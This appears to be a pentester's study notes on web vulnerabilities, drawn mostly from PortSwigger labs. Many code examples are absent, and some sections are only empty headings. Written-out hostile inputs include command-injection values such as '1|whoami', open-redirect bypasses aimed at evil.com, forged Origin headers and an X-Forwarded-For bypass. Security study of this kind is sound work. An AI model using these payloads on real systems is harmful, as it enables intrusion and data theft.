CLIENT SIDE EXPLOITS
Client-side prototype pollution via browser APIs https://portswigger.net/web-security/prototype-pollution/client-side/browser-apis/lab-prototype-pollution-client-side-prototype-pollution-via-brows
er-apis
DOM XSS via client-side prototype pollution https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-dom-xss-via-client-side-prototype-pollution
DOM XSS via an alternative prototype pollution vector https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-dom-xss-via-an-alternative-prototype-pollution-vector
Client-side prototype pollution via flawed sanitization https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-client-side-prototype-pollution-via-flawed-sanitization
Client-side prototype pollution in third-party libraries https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-client-side-prototype-pollution-in-third-party-libraries
SERVER SIDE EXPLOITS
Privilege escalation via server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution
Detecting server-side prototype pollution without polluted property reflection Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater https://portswigger.net/web-security/prototype-pollution/server-side/lab-detecting-server-side-prototype-pollution-without-polluted-property-reflection
Bypassing flawed input filters for server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater https://portswigger.net/web-security/prototype-pollution/server-side/lab-bypassing-flawed-input-filters-for-server-side-prototype-pollution
Remote code execution via server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater https://portswigger.net/web-security/prototype-pollution/server-side/lab-remote-code-execution-via-server-side-prototype-pollution
Exfiltrating sensitive data via server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater https://portswigger.net/web-security/prototype-pollution/server-side/lab-exfiltrating-sensitive-data-via-server-side-prototype-pollution
Finding client-side prototype pollution sources manually
Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:
In your browser console, inspect Object.prototype to see if you have successfully polluted it with your arbitrary property:
If the property was not added to the prototype, try using different techniques, such as switching to dot notation rather than bracket notation, or vice versa:
Repeat this process for each potential source.
If neither of these techniques is successful, you may still be able to pollute the prototype via its constructor.
Finding client-side prototype pollution sources using DOM Invader
Finding client-side prototype pollution gadgets manually
Look through the source code and identify any properties that are used by the application or any libraries that it imports.
In Burp, enable response interception (Proxy > Options > Intercept server responses) and intercept the response containing the JavaScript that you want to test.
Add a debugger statement at the start of the script, then forward any remaining requests and responses.
In Burp's browser, go to the page on which the target script is loaded. The debugger statement pauses execution of the script.
While the script is still paused, switch to the console and enter the following command, replacing YOUR-PROPERTY with one of the properties that you think is a potential gadget: The property is added to the global Object.prototype, and the browser will log a stack trace to the console whenever it is accessed.
Press the button to continue execution of the script and monitor the console. If a stack trace appears, this confirms that the property was accessed somewhere within the application.
Expand the stack trace and use the provided link to jump to the line of code where the property is being read.
Using the browser's debugger controls, step through each phase of execution to see if the property is passed to a sink, such as innerHTML or eval().
Repeat this process for any properties that you think are potential gadgets.
Finding client-side prototype pollution gadgets using DOM Invader
Prototype pollution via the constructor
As this is the classic technique for prototype pollution, a common defense is to strip any properties with the key proto from user-controlled objects before merging them. This approach is flawed as there are alternative ways to reference Object.prototype without relying on the proto string at all.
As myObject.constructor.prototype is equivalent to myObject.proto, this provides an alternative vector for prototype pollution.
Bypassing flawed key sanitization
An obvious way in which websites attempt to prevent prototype pollution is by sanitizing property keys before merging them into an existing object. However, a common mistake is failing to recursively sanitize the input string. For example, consider the following URL:
If the sanitization process just strips the string proto without repeating this process more than once, this would result in the following URL, which is a potentially valid prototype pollution source: vulnerable-website.com/?proto.gadget=payload
Prototype pollution in external libraries
Prototype pollution via browser APIs
https://portswigger.net/web-security/prototype-pollution/client-side/browser-apis
There are a number of widespread prototype pollution gadgets in the JavaScript APIs commonly provided in browsers.
Prototype pollution via fetch()
The Fetch API provides a simple way for developers to trigger HTTP requests using JavaScript. The fetch() method accepts two arguments:
The URL to which you want to send the request.
An options object that lets you to control parts of the request, such as the method, headers, body parameters, and so on.
If an attacker can find a suitable source, they could potentially pollute Object.prototype with their own headers property. This may then be inherited by the options object passed into fetch() and subsequently used to generate the request. This can lead to a number of issues. For example, the following code is potentially vulnerable to DOM XSS via prototype pollution:
To exploit this, an attacker could pollute Object.prototype with a headers property containing a malicious x-username header as follows:
Prototype pollution via Object.defineProperty()
Developers with some knowledge of prototype pollution may attempt to block potential gadgets by using the Object.defineProperty() method. This enables you to set a non-configurable, non-writable property directly on the affected object
Just like the fetch() method we looked at earlier, Object.defineProperty() accepts an options object, known as a "descriptor". You can see this in the example above. Among other things, developers can use this descriptor object to set an initial value for the property that's being defined. However, if the only reason that they're defining this property is to protect against prototype pollution, they might not bother setting a value at all.
In this case, an attacker may be able to bypass this defense by polluting Object.prototype with a malicious value property. If this is inherited by the descriptor object passed to Object.defineProperty(), the attacker-controlled value may be assigned to the gadget property after all.
Server-side prototype pollution
Detecting server-side prototype pollution without polluted property reflection
Charset override
Bypassing input filters for server-side prototype pollution
Remote code execution via server-side prototype pollution
Remote code execution via child_process.execSync()
Just like fork(), the execSync() method also accepts options object, which may be pollutable via the prototype chain. Although this doesn't accept an execArgv property, you can still inject system commands into a running child process by simultaneously polluting both the shell and input properties:
The input option is just a string that is passed to the child process's stdin stream and executed as a system command by execSync(). As there are other options for providing the command, such as simply passing it as an argument to the function, the input property itself may be left undefined.
The shell option lets developers declare a specific shell in which they want the command to run. By default, execSync() uses the system's default shell to run commands, so this may also be left undefined.
Although they aren't really intended to be shells, the text editors Vim and ex reliably fulfill all of these criteria. If either of these happen to be installed on the server, this creates a potential vector for RCE:
Note: Vim has an interactive prompt and expects the user to hit Enter to run the provided command. As a result, you need to simulate this by including a newline (\n) character at the end of your payload, as shown in the example above. One additional limitation of this technique is that some tools that you might want to use for your exploit also don't read data from stdin by default. However, there are a few simple ways around this. In the case of curl, for example, you can read stdin and send the contents as the body of a POST request using the -d @- argument. In other cases, you can use xargs, which converts stdin to a list of arguments that can be passed to a command.
----------------------------------------------------------------------------------------
7. Manual: WebSockets
WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. They are commonly used in modern web applications for streaming data and other asynchronous traffic. WebSockets are particularly useful in situations where low-latency or server-initiated messages are required, such as real-time feeds of financial data.
How are WebSocket connections established?
WebSocket connections are normally created using client-side JavaScript like the following: Note: The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.
To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
If the server accepts the connection, it returns a WebSocket handshake response like the following:
Note: Several features of the WebSocket handshake messages are worth noting:
The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
What do WebSocket messages look like? Once a WebSocket connection has been established, messages can be sent asynchronously in either direction by the client or server. A simple message could be sent from the browser using client-side JavaScript like the following:
In principle, WebSocket messages can contain any content or data format. In modern applications, it is common for JSON to be used to send structured data within WebSocket messages. For example, a chat-bot application using WebSockets might send a message like the following:
Testing for WebSockets security vulnerabilities
Lab: Manipulating WebSocket messages to exploit vulnerabilities https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities
Lab: Manipulating the WebSocket handshake to exploit vulnerabilities https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities
Cross-site WebSocket hijacking https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking
Performing a cross-site WebSocket hijacking attack https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab
----------------------------------------------------------------------------------------
7. Manual: Dangling markup
Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible. Suppose an application embeds attacker-controllable data into its responses in an unsafe way:
Suppose also that the application does not filter or escape the > or " characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context:
In this situation, an attacker would naturally attempt to perform XSS. But suppose that a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it might still be possible to deliver a dangling markup injection attack using a payload like the following:
This payload creates an img tag and defines the start of a src attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the src attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encoded.
The consequence of the attack is that the attacker can capture part of the application's response following the injection point, which might contain sensitive data. Depending on the application's functionality, this might include CSRF tokens, email messages, or financial data. Any attribute that makes an external request can be used for dangling markup.
Reflected XSS protected by very strict CSP, with dangling markup attack https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack
----------------------------------------------------------------------------------------
8. Manual: XXE
Burp Suite:
XXE - SSRF
BLIND XXE
https://book.hacktricks.xyz/pentesting-web/xpath-injection # XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
https://devhints.io/xpath # Xpath cheatsheet.
https://www.s4msecurity.com/2022/06/08/xml-xpath-injection-search-bwapp-level-low/ # This article subject XML/XPath Injection vulnerability on web app.
----------------------------------------------------------------------------------------
9. Manual: GraphQL
GraphQL is an API query language that is designed to facilitate efficient communication between clients and servers. It enables the user to specify exactly what data they want in the response, helping to avoid the large response objects and multiple calls that can sometimes be seen with REST APIs.
GraphQL schemas define the structure of the service's data, listing the available objects (known as types), fields, and relationships.
The data described by a GraphQL schema can be manipulated using three types of operation:
Queries fetch data.
Mutations add, change, or remove data.
Subscriptions are similar to queries, but set up a permanent connection by which a server can proactively push data to a client in the specified format.
All GraphQL operations use the same endpoint, and are generally sent as a POST request. This is significantly different to REST APIs, which use operation-specific endpoints across a range of HTTP methods. With GraphQL, the type and name of the operation define how the query is handled, rather than the endpoint it is sent to or the HTTP method used.
EXPLOITS:
Injection attacks:
CSRF
Information disclosure:
DDos attacks:
ENTRY POINT TESTING:
Endpoint Identification: Identify GraphQL endpoints through source code analysis or network traffic monitoring.
Schema Analysis: Explore the GraphQL schema to understand available types and fields.
Query Fuzzing: Inject unexpected inputs to test for injection vulnerabilities.
Query Depth Testing: Test queries of varying depth to ensure query complexity limitations are effective.
Role-based Access Testing: Evaluate whether users have appropriate access to certain fields or types.
Overprivileged Queries: Attempt to access data beyond the user’s authorization level.
Universal queries:
If you send query{__typename} to any GraphQL endpoint, it will include the string {"data": {"__typename": "query"}} somewhere in its response. This is known as a universal query, and is a useful tool in probing whether a URL corresponds to a GraphQL service.
The query works because every GraphQL endpoint has a reserved field called __typename that returns the queried object's type as a string.
GraphQL services will often respond to any non-GraphQL request with a "query not present" or similar error. You should bear this in mind when testing for GraphQL endpoints.
Request methods:
It is best practice for production GraphQL endpoints to only accept POST requests that have a content-type of application/json, as this helps to protect against CSRF vulnerabilities. However, some endpoints may accept alternative methods, such as GET requests or POST requests that use a content-type of x-www-form-urlencoded.
If you can't find the GraphQL endpoint by sending POST requests to common endpoints, try resending the universal query using alternative HTTP methods.
At this point, you can start to look for vulnerabilities. Testing query arguments is a good place to start.
Discovering schema information:
The next step in testing the API is to piece together information about the underlying schema. Introspection is a built-in GraphQL function that enables you to query a server for information about the schema.
It is best practice for introspection to be disabled in production environments, but this advice is not always followed.
You can probe for introspection using the following simple query. If introspection is enabled, the response returns the names of all available queries.
The next step is to run a full introspection query against the endpoint so that you can get as much information on the underlying schema as possible.
If introspection is enabled but the above query doesn't run, try removing the onOperation, onFragment, and onField directives from the query structure. Many endpoints do not accept these directives as part of an introspection query, and you can often have more success with introspection by removing them.
Bypassing GraphQL introspection defences:
If you cannot get introspection queries to run for the API you are testing, try inserting a special character after the __schema keyword.
When developers disable introspection, they could use a regex to exclude the __schema keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.
Bypassing rate limiting using aliases:
Ordinarily, GraphQL objects can't contain multiple properties with the same name. Aliases enable you to bypass this restriction by explicitly naming the properties you want the API to return. You can use aliases to return multiple instances of the same type of object in one request.
Many endpoints will have some sort of rate limiter in place to prevent brute force attacks. Some rate limiters work based on the number of HTTP requests received rather than the number of operations performed on the endpoint. Because aliases effectively enable you to send multiple queries in a single HTTP message, they can bypass this restriction.
GraphQL CSRF:
Cross-site request forgery (CSRF) vulnerabilities enable an attacker to induce users to perform actions that they do not intend to perform. This is done by creating a malicious website that forges a cross-domain request to the vulnerable application.
CSRF vulnerabilities can arise where a GraphQL endpoint does not validate the content type of the requests sent to it and no CSRF tokens are implemented.
The steps to construct a CSRF attack and deliver an exploit are the same for GraphQL-based CSRF vulnerabilities as they are for "regular" CSRF vulnerabilities.
Burp Suite: Extentions
https://portswigger.net/web-security/graphql # GraphQL vulnerabilities generally arise due to implementation and design flaws.
https://github.com/forcesunseen/graphquail # GraphQuail is a Burp Suite extension that offers a toolkit for testing GraphQL endpoints.
inql - InQL - A Burp Extension for GraphQL Security Testing
graphql_beautifier - Burp Suite extension to help make Graphql request more readable
----------------------------------------------------------------------------------------
10. Manual: SSTI
https://www.youtube.com/watch?v=SN6EVIG4c-0 # Template Injections (SSTI) in 10 minutes
https://portswigger.net/research/server-side-template-injection # Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.
https://github.com/epinna/tplmap # Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.
https://github.com/vladko312/SSTImap # SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.
----------------------------------------------------------------------------------------
11. Manual: CORS
BURP SUIT:
ARBITRARY ORIGINS: Change the origin to an arbitrary vaule / true GET: Origin: https://malicious-website.com POST: Access-Control-Allow-Origin: https://malicious-website.com
MULL ORIGINS: Change the origin header to the null value GET: Origin: null POST: Access-Control-Allow-Origin: null
SAME ORIGINS: Change the origin header to one that begins with the origin of the site GET: Origin: https://website.com POST: Access-Control-Allow-Origin: https://website.com
SUBDOMAIN ORIGINS: Change the origin to one that ends with the origin of the site. GET: Origin: https://random.website.com POST: Access-Control-Allow-Origin: https://random.website.com
----------------------------------------------------------------------------------------
12. Manual: CSRF
BURP SUIT:
Swap "POST" with "GET": Instead of using POST requests, switch to GET and move the body parameters into the URI. This simple maneuver often overrides CSRF token implementations, enabling a full-blown CSRF attack.
JSON Requests: Even JSON requests relying on cookies can be vulnerable to CSRF. Here's the trick: send your request with a content-type of text/html and format the body in JSON. In some cases, if the application doesn't rely on the content-type header, CSRF can still work its magic.
Don't Blindly Trust CSRF Tokens: Just because an application has a CSRF token doesn't mean it's foolproof. Sometimes, backend validation for these tokens can be flawed. This means that even with the same token, a CSRF attack may still work on other users' accounts.
Remove the CSRF Token Parameter: Believe it or not, some applications are designed to support legacy versions. If you try removing the CSRF token parameter from the request, it may still work. This is often because apps have dual implementations, and if the parameter is missing, they fall back to the legacy version to support older versions of the app, which can often be vulnerable.
Legacy Endpoints: Hidden in JS files are legacy endpoints that may no longer be actively in use, but they can still be functional and vulnerable to CSRF attacks. These abandoned endpoints are usually not maintained or updated to the latest security standards, making them prime targets for CSRF exploitation.
----------------------------------------------------------------------------------------
13. Manual: SSRF
Burp Suite:
SSRF via XXE
Remote Code Execution (RCE) via Blind SSRF
https://lab.wallarm.com/blind-ssrf-exploitation/ # There is such a thing as SSRF. There’s lots of information about it, but here is my quick summary.
https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ # A Glossary of Blind SSRF Chains.
https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/ # BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR.
https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/ # Attacking Java RMI via SSRF.
https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next # Got SSRF in a AWS lambda?
----------------------------------------------------------------------------------------
14. Manual: HTTP smuggling
----------------------------------------------------------------------------------------
15. Manual: HTTP Header Attack
HTTP headers play a crucial role in web application security. They contain metadata about the request or response being sent, and can be manipulated by attackers to exploit vulnerabilities. Here are some common vulnerabilities related to HTTP headers:
Server Banner Disclosure: The Server header can disclose information about the server and its version.
Cookie Flags: Not setting secure and httponly flags on cookies can lead to session hijacking and other cookie-related attacks.
Cache Control: Incorrect or insufficient caching headers can lead to sensitive information being cached by intermediaries or clients.
Content Security Policy (CSP) Bypass: If a web application doesn't have a properly configured Content Security Policy, it might be vulnerable to XSS attacks.
Reflected XSS via Headers: Attackers can try injecting malicious scripts into headers like Referer or User-Agent to exploit reflected XSS vulnerabilities.
Cross-Origin Resource Sharing (CORS) Misconfiguration: If CORS headers are not configured properly, it can lead to data leakage and potentially enable attackers to perform Cross-Site Request Forgery (CSRF) or Cross-Site Script Inclusion (XSSI) attacks.
CRLF Injection: Attackers may attempt to inject CRLF characters into headers to manipulate responses, potentially leading to further attacks.
Request Smuggling: Improper handling of request headers can lead to smuggling attacks, where an attacker can manipulate the way requests are processed by backend servers.
Security Headers Missing:
Strict-Transport-Security (HSTS): Absence of HSTS header can make a site vulnerable to Man-in-the-Middle (MitM) attacks.
X-Content-Type-Options: Without this header, browsers might interpret files in a way that could lead to security issues.
X-Content-Security-Policy: Helps protect against various attacks including data injection and code execution.
Referrer-Policy: Specifies how much referrer information should be included with requests.
403 BYPASS MANUAL
Directory-Based Bypass: Access the directory with no slash at the end File-
Based Bypass: Access the file without any slash at the end
Protocol-Based Bypass: Switch the protocol from HTTPS to HTTP
Header Manipulation: Add the X-Forwarded-For header with a specific IP address: X-Forwarded-For: 127.0.0.1
----------------------------------------------------------------------------------------
16. Manual: Authentication
----------------------------------------------------------------------------------------
17. Manual: JWT
----------------------------------------------------------------------------------------
18. Manual: OAuth auth
----------------------------------------------------------------------------------------
19. Manual: File Upload
----------------------------------------------------------------------------------------
20. Manual: LFI
BURP SUIT:
PROXY through website, filter imagess and locate file parameter
Send request to INTRUDER, add payload position to the end of the URL
https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ # This post presents a new method to exploit local file inclusion (LFI) vulnerabilities in utmost generality, assuming only that PHP is running in combination with Nginx under a common standard configuration.
----------------------------------------------------------------------------------------
20. Manual : OS injection
OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data. Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, and exploit trust relationships to pivot the attack to other systems within the organization.
ENTRY
URL: Modify parameter - 1|whoami
feedback function: Modify parameter - email=x||ping+-c+10+127.0.0.1||
Ways of injecting OS commands You can use a number of shell metacharacters to perform OS command injection attacks. A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:
OS command injection, simple case https://portswigger.net/web-security/os-command-injection/lab-simple
Useful commands After you identify an OS command injection vulnerability, it's useful to execute some initial commands to obtain information about the system. Below is a summary of some commands that are useful on Linux and Windows platforms:
Blind OS command injection vulnerabilities
Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required. As an example, imagine a website that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details:
Detecting blind OS command injection using time delays
You can use an injected command to trigger a time delay, enabling you to confirm that the command was executed based on the time that the application takes to respond. The ping command is a good way to do this, because lets you specify the number of ICMP packets to send. This enables you to control the time taken for the command to run. This command causes the application to ping its loopback network adapter for 10 seconds:
Blind OS command injection with time delays https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays
Exploiting blind OS command injection by redirecting output
You can redirect the output from the injected command into a file within the web root that you can then retrieve using the browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:
The > character sends the output from the whoami command to the specified file. You can then use the browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.
Blind OS command injection with output redirection https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection
Exploiting blind OS command injection using out-of-band (OAST) techniques
You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:
This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor to see if the lookup happens, to confirm if the command was successfully injected.
Lab: Blind OS command injection with out-of-band interaction https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band
The out-of-band channel provides an easy way to exfiltrate the output from injected commands:
This causes a DNS lookup to the attacker's domain containing the result of the whoami command:
Lab: Blind OS command injection with out-of-band data exfiltration https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration
----------------------------------------------------------------------------------------
21. Manual: Path Traversal
----------------------------------------------------------------------------------------
22. Manual: Open Redirect
BURP SUIT: https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-open-redirection https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect
Subfinder for subdomains, fuzz for injection parameters
Send request to INTRUDER, add payload position to the end of the URL
Remember url enconde the payloads!
Open redirect bypasses
• Simply try to change the domain Example: ?redirect=https://example.com --> ?redirect=https://evil.com
• Bypass the filter when protocol is blacklisted using // Example: ?redirect=https://example.com --> ?redirect=//evil.com
• Bypass the filter when double slash is blacklisted using \ Example: ?redirect=https://example.com --> ?redirect=levil.com
• Bypass the filter when double slash is blacklisted using http: or https: Example: ?redirect=https://example.com --> ?redirect=https:example.com
• Bypass the filter using %40 Example: ?redirect=example.com --> ?redirect=example.com%40evil.com
• Bypass the filter if it only checks for domain name Example: ?redirect=example.com --> ?redirect=example.comevil.com
• Bypass the filter if it only checks for domain name using a dot %2e Example: ?redirect=example.com --> ?redirect=example.com%2eevil.com
• Bypass the filter if it only checks for domain name using a query/question mark ? Example: ?redirect=example.com --> ?redirect=evil.com?example.com
• Bypass the filter if it only checks for domain name using a hash %23 Example: ?redirect=example.com --> ?redirect=evil.com%23example.com
• Bypass the filter using a symbol Example: ?redirect=example.com --> ?redirect=example.com/°evil.com
• Bypass the filter using a url encoded Chinese dot %E3%80%82 Example: ?redirect=example.com --> ?redirect=evil.com%E3%80%82%23example.com
• Bypass the filter if it only allows you to control the path using a nullbyte %0d or %0a Example: ?redirect=/ --> ?redirect=/%0d/evil.com
----------------------------------------------------------------------------------------
23. Manual: Access control
----------------------------------------------------------------------------------------
24. Manual: Logic flaws
Logic flaws are a category of web application vulnerabilities that typically occur when there's a gap in the application's business logic, allowing attackers to exploit unintended behavior. These vulnerabilities are often specific to the application and may not be detected through traditional security scanning. Common vulnerabilities and risks arising from logic flaws include:
Insecure Direct Object References (IDOR): Logic flaws can lead to situations where an attacker can directly access, modify, or delete objects, such as files or database records, that they shouldn't have access to.
Authentication Bypass: Attackers may exploit flaws in the authentication process to gain unauthorized access to user accounts or administrative functions.
Privilege Escalation: Attackers can leverage logic flaws to escalate their privileges within the application, gaining access to features or data intended for other user roles.
Race Conditions: Flawed handling of concurrent operations can lead to race conditions, causing unexpected behavior or security vulnerabilities.
2FA BRUTE FORCE
FORGOT PASSWORD REST
The discounting functionality of online shops is a classic attack surface when hunting for logic flaws. This can be a potential gold mine for an attacker, with all kinds of basic logic flaws occurring in the way discounts are applied.
In this context, the term "business logic" simply refers to the set of rules that define how the application operates. As these rules aren't always directly related to a business, the associated vulnerabilities are also known as "application logic vulnerabilities" or simply "logic flaws".
Business logic vulnerabilities often arise because the design and development teams make flawed assumptions about how users will interact with the application. These bad assumptions can lead to inadequate validation of user input. For example, if the developers assume that users will pass data exclusively via a web browser, the application may rely entirely on weak client-side controls to validate input. These are easily bypassed by an attacker using an intercepting proxy.
Lab: Excessive trust in client-side controls https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls
Lab: 2FA broken logic https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic
Failing to handle unconventional input
Lab: High-level logic vulnerability https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-high-level
Lab: Low-level logic flaw https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level
Lab: Inconsistent handling of exceptional input https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input
Making flawed assumptions about user behavior
Lab: Inconsistent security controls https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls
Lab: Weak isolation on dual-use endpoint https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint
Lab: Password reset broken logic https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic
https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass
Lab: Flawed enforcement of business rules https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-flawed-enforcement-of-business-rules
Lab: Infinite money logic flaw https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money
Lab: Authentication bypass via encryption oracle https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle
----------------------------------------------------------------------------------------
25. Manual: Deserialization
https://github.com/joaomatosf/jexboss # JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.
https://github.com/pimps/JNDI-Exploit-Kit # This is a forked modified version of the great exploitation tool created by @welk1n (https://github.com/welk1n/JNDI-Injection-Exploit).
----------------------------------------------------------------------------------------
26. Manual: Info Disclosure
Files for web crawlers
Many websites provide files at /robots.txt and /sitemap.xml to help crawlers navigate their site. Among other things, these files often list specific directories that the crawlers should skip, for example, because they may contain sensitive information. As these files are not usually linked from within the website, they may not immediately appear in Burp's site map. However, it is worth trying to navigate to /robots.txt or /sitemap.xml manually to see if you find anything of use.
Directory listings
Web servers can be configured to automatically list the contents of directories that do not have an index page present. This can aid an attacker by enabling them to quickly identify the resources at a given path, and proceed directly to analyzing and attacking those resources. It particularly increases the exposure of sensitive files within the directory that are not intended to be accessible to users, such as temporary files and crash dumps. Directory listings themselves are not necessarily a security vulnerability. However, if the website also fails to implement proper access control, leaking the existence and location of sensitive resources in this way is clearly an issue.
Developer comments
During development, in-line HTML comments are sometimes added to the markup. These comments are typically stripped before changes are deployed to the production environment. However, comments can sometimes be forgotten, missed, or even left in deliberately because someone wasn't fully aware of the security implications. Although these comments are not visible on the rendered page, they can easily be accessed using Burp, or even the browser's built-in developer tools. Occasionally, these comments contain information that is useful to an attacker. For example, they might hint at the existence of hidden directories or provide clues about the application logic.
Error messages
One of the most common causes of information disclosure is verbose error messages. As a general rule, you should pay close attention to all error messages you encounter during auditing. The content of error messages can reveal information about what input or data type is expected from a given parameter. This can help you to narrow down your attack by identifying exploitable parameters. It may even just prevent you from wasting time trying to inject payloads that simply won't work. Verbose error messages can also provide information about different technologies being used by the website. For example, they might explicitly name a template engine, database type, or server that the website is using, along with its version number. This information can be useful because you can easily search for any documented exploits that may exist for this version. Similarly, you can check whether there are any common configuration errors or dangerous default settings that you may be able to exploit. Some of these may be highlighted in the official documentation. You might also discover that the website is using some kind of open-source framework. In this case, you can study the publicly available source code, which is an invaluable resource for constructing your own exploits. Differences between error messages can also reveal different application behavior that is occurring behind the scenes. Observing differences in error messages is a crucial aspect of many techniques, such as SQL injection, username enumeration, and so on.
Information disclosure in error messages https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages
Debugging data
For debugging purposes, many websites generate custom error messages and logs that contain large amounts of information about the application's behavior. While this information is useful during development, it is also extremely useful to an attacker if it is leaked in the production environment. Debug messages can sometimes contain vital information for developing an attack, including:
Values for key session variables that can be manipulated via user input
Hostnames and credentials for back-end components
File and directory names on the server
Keys used to encrypt data transmitted via the client
Debugging information may sometimes be logged in a separate file. If an attacker is able to gain access to this file, it can serve as a useful reference for understanding the application's runtime state. It can also provide several clues as to how they can supply crafted input to manipulate the application state and control the information received.
Information disclosure on debug page https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page
User account pages By their very nature, a user's profile or account page usually contains sensitive information, such as the user's email address, phone number, API key, and so on. As users normally only have access to their own account page, this does not represent a vulnerability in itself. However, some websites contain logic flaws that potentially allow an attacker to leverage these pages in order to view other users' data. For example, consider a website that determines which user's account page to load based on a user parameter:
GET /user/personal-info?user=carlos
Most websites will take steps to prevent an attacker from simply changing this parameter to access arbitrary users' account pages. However, sometimes the logic for loading individual items of data is not as robust. An attacker may not be able to load another users' account page entirely, but the logic for fetching and rendering the user's registered email address, for example, might not check that the user parameter matches the user that is currently logged in. In this case, simply changing the user parameter would allow an attacker to display arbitrary users' email addresses on their own account page.
Source code disclosure via backup files
Obtaining source code access makes it much easier for an attacker to understand the application's behavior and construct high-severity attacks. Sensitive data is sometimes even hard-coded within the source code. Typical examples of this include API keys and credentials for accessing back-end components. If you can identify that a particular open-source technology is being used, this provides easy access to a limited amount of source code.
Source code disclosure via backup files https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files
